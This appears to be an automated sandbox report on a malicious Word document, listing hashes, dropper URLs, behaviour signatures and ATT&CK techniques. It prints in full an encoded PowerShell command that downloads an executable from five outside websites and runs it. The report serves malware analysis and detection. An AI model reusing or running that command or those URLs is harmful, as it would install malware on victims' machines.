4ba386fc55054b552861920518ad12c69e8d9879a3e8b2e7ec433f06f7c28d1d

General

Target

4ba386fc55054b552861920518ad12c69e8d9879a3e8b2e7ec433f06f7c28d1d.doc
Size

135KB
MD5

44ebfece9484e234989f95405f6f8ac1
SHA1

2eb0f280fa16a533279cbc786f8d351225f3b28d
SHA256

4ba386fc55054b552861920518ad12c69e8d9879a3e8b2e7ec433f06f7c28d1d
SHA512

008c1c8fbd0b02fdc3e982986456dad653ba19104fd2034b216ea779983ee09c4df46beb9a29e6d2b3248571db150d517acd0d3f48ecdc88123ce79e3bf56e70

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://creaception.com/wp-content/xiGNlqqqTY/

exe.dropper

http://credigas.com.br/banner/gy7r_septedp8a2-535832/

exe.dropper

http://downinthecountry.com/logsite/uBkMGLPsSs/

exe.dropper

https://ingelse.net/awstats/yBDJPpkqn/

exe.dropper

http://kelp4less.com/wp-includes/r3txlpz_ncoq6p-28/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4728	4128	powErSHell.exe	14

Blocklisted process makes network request 8 IoCs

flow	pid	Process
36	4728	powErSHell.exe
37	4728	powErSHell.exe
44	4728	powErSHell.exe
46	4728	powErSHell.exe
48	4728	powErSHell.exe
50	4728	powErSHell.exe
51	4728	powErSHell.exe
53	4728	powErSHell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2352	WINWORD.EXE
2352	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4728	powErSHell.exe
4728	powErSHell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4728	powErSHell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2352	WINWORD.EXE
2352	WINWORD.EXE
2352	WINWORD.EXE
2352	WINWORD.EXE
2352	WINWORD.EXE
2352	WINWORD.EXE
2352	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4ba386fc55054b552861920518ad12c69e8d9879a3e8b2e7ec433f06f7c28d1d.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2352

C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exe
powErSHell -e JAB1ADAAMwBfADAANAAwAD0AJwBkADAAMAA0AF8AMQAnADsAJABBADYANAA1ADMAMgAgAD0AIAAnADYANAAzACcAOwAkAFAAMgA1AF8AMAAzADIANAA9ACcAQQA5ADUAOQBfADYAJwA7ACQAbwA5ADQAXwA2AF8ANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQA2ADQANQAzADIAKwAnAC4AZQB4AGUAJwA7ACQARQA3ADAANQA1ADQANAA9ACcARgBfADEANQA4ADUANAAwACcAOwAkAG8AXwA0ADMANQBfAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAHcAYABlAEIAYABDAEwASQBFAE4AVAA7ACQAQwA1ADQANQA5ADAAMQA3AD0AJwBoAHQAdABwADoALwAvAGMAcgBlAGEAYwBlAHAAdABpAG8AbgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHgAaQBHAE4AbABxAHEAcQBUAFkALwBAAGgAdAB0AHAAOgAvAC8AYwByAGUAZABpAGcAYQBzAC4AYwBvAG0ALgBiAHIALwBiAGEAbgBuAGUAcgAvAGcAeQA3AHIAXwBzAGUAcAB0AGUAZABwADgAYQAyAC0ANQAzADUAOAAzADIALwBAAGgAdAB0AHAAOgAvAC8AZABvAHcAbgBpAG4AdABoAGUAYwBvAHUAbgB0AHIAeQAuAGMAbwBtAC8AbABvAGcAcwBpAHQAZQAvAHUAQgBrAE0ARwBMAFAAcwBTAHMALwBAAGgAdAB0AHAAcwA6AC8ALwBpAG4AZwBlAGwAcwBlAC4AbgBlAHQALwBhAHcAcwB0AGEAdABzAC8AeQBCAEQASgBQAHAAawBxAG4ALwBAAGgAdAB0AHAAOgAvAC8AawBlAGwAcAA0AGwAZQBzAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHIAMwB0AHgAbABwAHoAXwBuAGMAbwBxADYAcAAtADIAOAAvACcALgBzAHAATABpAFQAKAAnAEAAJwApADsAJAB6ADEAMQA5ADcAMAA9ACcAVgAyADEAMAAwADYANgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgAyADgAXwAyAF8ANAA1ACAAaQBuACAAJABDADUANAA1ADkAMAAxADcAKQB7AHQAcgB5AHsAJABvAF8ANAAzADUAXwAuAGQATwBXAE4AbABvAGEAZABmAEkATABlACgAJABSADIAOABfADIAXwA0ADUALAAgACQAbwA5ADQAXwA2AF8ANwApADsAJABCADAAOAAxADgANQA1AD0AJwBVADAANAA0ADEAMAAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAG8AOQA0AF8ANgBfADcAKQAuAGwAZQBOAGcAVABIACAALQBnAGUAIAAzADgAMwA4ADcAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAgACQAbwA5ADQAXwA2AF8ANwA7ACQAWQAxADAANAA3ADkAOAA9ACcAbAAzADIANwBfADIAJwA7AGIAcgBlAGEAawA7ACQAQQA0ADEANAA3ADcAPQAnAFoAOQA0ADEAMgAzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAXwA2ADYAOQA0AF8APQAnAEwAOAA5ADMAMAAwADMANAAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4728

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2352-139-0x00000127D8A30000-0x00000127D8A34000-memory.dmp

Filesize
16KB

Download
memory/2352-145-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2352-133-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2352-134-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2352-135-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2352-136-0x00007FFE35080000-0x00007FFE35090000-memory.dmp

Filesize
64KB

Download
memory/2352-137-0x00007FFE35080000-0x00007FFE35090000-memory.dmp

Filesize
64KB

Download
memory/2352-138-0x00000127D1A42000-0x00000127D1A44000-memory.dmp

Filesize
8KB

Download
memory/2352-132-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2352-148-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2352-131-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2352-142-0x00000127D1A42000-0x00000127D1A44000-memory.dmp

Filesize
8KB

Download
memory/2352-147-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/2352-146-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/4728-141-0x00007FFE4B720000-0x00007FFE4C1E1000-memory.dmp

Filesize
10.8MB

Download
memory/4728-143-0x00007FFE4B720000-0x00007FFE4C1E1000-memory.dmp

Filesize
10.8MB

Download
memory/4728-140-0x000001ABD9650000-0x000001ABD9672000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads